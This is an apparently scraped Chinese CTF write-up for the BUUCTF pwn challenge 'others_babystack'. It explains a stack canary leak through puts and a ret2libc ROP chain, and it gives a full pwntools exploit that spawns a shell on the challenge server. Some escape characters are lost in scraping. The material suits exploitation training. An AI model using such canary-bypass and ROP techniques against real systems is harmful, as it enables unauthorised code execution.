zoukankan      html  css  js  c++  java
  • [BUUCTF]PWN——others_babystack

    others_babystack

    附件

    步骤:

    1. 例行检查,64位程序,开了挺多保护
      在这里插入图片描述
    2. 本地试运行一下程序
      在这里插入图片描述
    3. 64位ida载入,看main函数
      在这里插入图片描述
      1是read函数,存在栈溢出;2是puts函数,3退出

    利用思路

    1. 泄露canary
      由于存在canary,我们首先要想办法泄露出它的值来绕过canary保护,puts函数在输出的时候是遇到’x00’ 才会结束,我们都知道canary跟在ebp之后,因此我们直接填充‘a’到ebp,正好 可以把canary的截断符覆盖,再输出,就会连canary输出来了,成功泄露了canary。
    r.sendlineafter(">>",'1')
    payload='a'*(0x80+8)
    r.sendline(payload)
    
    r.sendlineafter('>>','2')
    r.recvuntil('a
    ')
    canary=u64(r,recv(7).rjust(8,'x00'))
    print hex(canary)
    
    1. 获取shell
      在得到程序里的ebp之后,就可以利用普通的ret2libc的方式去获取shell了,(64位传参要用寄存器的顺序是rdi,rsi,rdx,rcx,r8,r9)
      我这里打算使用puts函数去泄露puts的got表,参数只有一个,因此只用到了一个rdi寄存器,找一下设置它值的指令ROPgadget --binary babystack |grep "pop rdi"

    在这里插入图片描述
    泄露puts函数的got表地址,找到libc版本

    pop_rdi=0x400a93
    puts_got=elf.got['puts']
    puts_plt=elf.plt['puts']
    main_addr=0x400908
    
    payload='a'*(0x80+8)+p64(canary)+p64(0)
    payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
    r.sendlineafter(">>",'1')
    r.sendline(payload)
    r.sendlineafter(">>",'3')
    
    r.recv()
    
    puts_addr=u64(r.recv(6).ljust(8,'x00'))
    libc=LibcSearcher('puts',puts_addr)
    

    计算system和bin/sh在程序里的实际地址,构造rop攻击

    libc_base=puts_addr-libc.dump('puts')
    system=libc_base+libc.dump('system')
    binsh=libc_base+libc.dump('str_bin_sh')
    
    payload='a'*(0x80+8)+p64(canary)+p64(0)
    payload+=p64(pop_rdi)+p64(binsh)+p64(system)
    r.sendlineafter('>>','1')
    r.sendline(payload)
    r.sendlineafter('>>','3')
    

    完整exp

    from pwn import *
    from LibcSearcher import *
    
    r=remote('node3.buuoj.cn',28530)
    #r=process('./babystack')
    elf=ELF('./babystack')
    context.log_level='debug'
    
    #泄露canary
    r.sendlineafter(">>",'1')
    payload='a'*(0x80+8)
    r.sendline(payload)
    
    r.sendlineafter('>>','2')
    r.recvuntil('a
    ')
    canary=u64(r.recv(7).rjust(8,'x00'))
    print hex(canary)
    
    pop_rdi=0x400a93
    puts_got=elf.got['puts']
    puts_plt=elf.plt['puts']
    main_addr=0x400908
    
    #泄露puts函数的got表地址
    payload='a'*(0x80+8)+p64(canary)+p64(0)
    payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
    r.sendlineafter(">>",'1')
    r.sendline(payload)
    r.sendlineafter(">>",'3')
    
    r.recv()
    
    puts_addr=u64(r.recv(6).ljust(8,'x00'))
    
    #找到对应的libc版本
    libc=LibcSearcher('puts',puts_addr)
    
    #计算system函数和字符串‘/bin/sh’在程序里的实际地址
    libc_base=puts_addr-libc.dump('puts')
    system=libc_base+libc.dump('system')
    binsh=libc_base+libc.dump('str_bin_sh')
    
    #构造rop攻击获取shell
    payload='a'*(0x80+8)+p64(canary)+p64(0)
    payload+=p64(pop_rdi)+p64(binsh)+p64(system)
    r.sendlineafter('>>','1')
    r.sendline(payload)
    r.sendlineafter('>>','3')
    
    r.interactive()
    

    在这里插入图片描述

  • 相关阅读:
    sublime开启vim模式
    git命令行界面
    搬进Github
    【POJ 2886】Who Gets the Most Candies?
    【UVA 1451】Average
    【CodeForces 625A】Guest From the Past
    【ZOJ 3480】Duck Typing
    【POJ 3320】Jessica's Reading Problemc(尺取法)
    【HDU 1445】Ride to School
    【HDU 5578】Friendship of Frog
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273651.html
Copyright © 2011-2022 走看看